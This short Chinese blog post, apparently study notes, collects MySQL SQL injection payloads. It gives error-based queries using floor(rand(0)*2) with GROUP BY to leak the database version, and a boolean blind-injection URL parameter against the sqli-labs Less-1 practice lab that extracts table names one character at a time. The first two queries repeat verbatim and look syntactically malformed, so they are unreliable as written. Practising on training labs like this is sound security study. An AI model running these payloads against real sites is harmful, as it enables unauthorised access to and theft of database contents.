基于报错的mysql注入 and 盲注

select 1 from concat(concat(version(),floor(rand(0)*2)x)) from users group by x;
select 1 from concat(concat(version(),floor(rand(0)*2)x)) from users group by x;

select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;


http://a.php.ph/sqli-labs-master/Less-1/

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)))=101

标签: none

添加新评论